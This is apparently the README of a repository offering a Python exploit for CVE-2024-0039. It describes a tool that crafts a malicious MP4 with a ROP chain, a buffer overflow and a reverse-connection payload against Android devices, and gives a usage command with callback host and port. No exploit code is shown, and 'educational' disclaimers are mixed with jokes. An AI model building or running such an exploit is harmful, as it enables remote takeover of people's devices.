CVE-2024-0039-Exploit

描述

用于利用CVE-2024-0039漏洞的Python脚本：在易受攻击的Android设备上执行任意代码。

注意：此代码仅用于教育和创造，服务于正义的一方，可以这么说！

使用

使用必要参数运行脚本：

python exploit.py --cb-host <Ваш IP> --cb-port <Ваш порт> --output exploit.mp4

项目结构

• exploit.py: 漏洞利用的主脚本，创建恶意MP4文件并记录执行过程。
• logs/: 您教育性创造性恶行的日志目录。
  • exploit.log:
• utils/: 这里存放辅助函数以保持代码整洁
  • helpers.py
• tests/: 测试（遵循最佳实践）
  • exploit.test.py

这段代码的作用：

函数 create_malicious_payload

创建带有ROP链和反向连接的恶意载荷。

• 创建ROP链：设置ROP链以执行任意代码。
• 创建缓冲区溢出（并用字母'A'填充）：用"A"填充缓冲区以实现溢出。
• 创建反向连接的有效载荷（请勿在家中尝试）：配置反向连接。

函数 write_to_file

• 将'善'写入文件

主代码部分

• 将'善'写入文件
• 写入文件
• 报告文件创建成功

日志

日志保存在 logs/exploit.log 中。记录脚本的操作，例如创建ROP链、缓冲区溢出、写入文件以及漏洞利用成功执行。

注意

• ROP链中的所有地址和命令均为示例，必须根据特定的漏洞和目标进行调整。
• 此代码仅用于教育目的，不得用于未经授权的行为。

许可证

本项目采用MIT许可证授权 - 详情请参阅LICENSE文件。因为即使黑客行为也应该是合法的……嗯，差不多。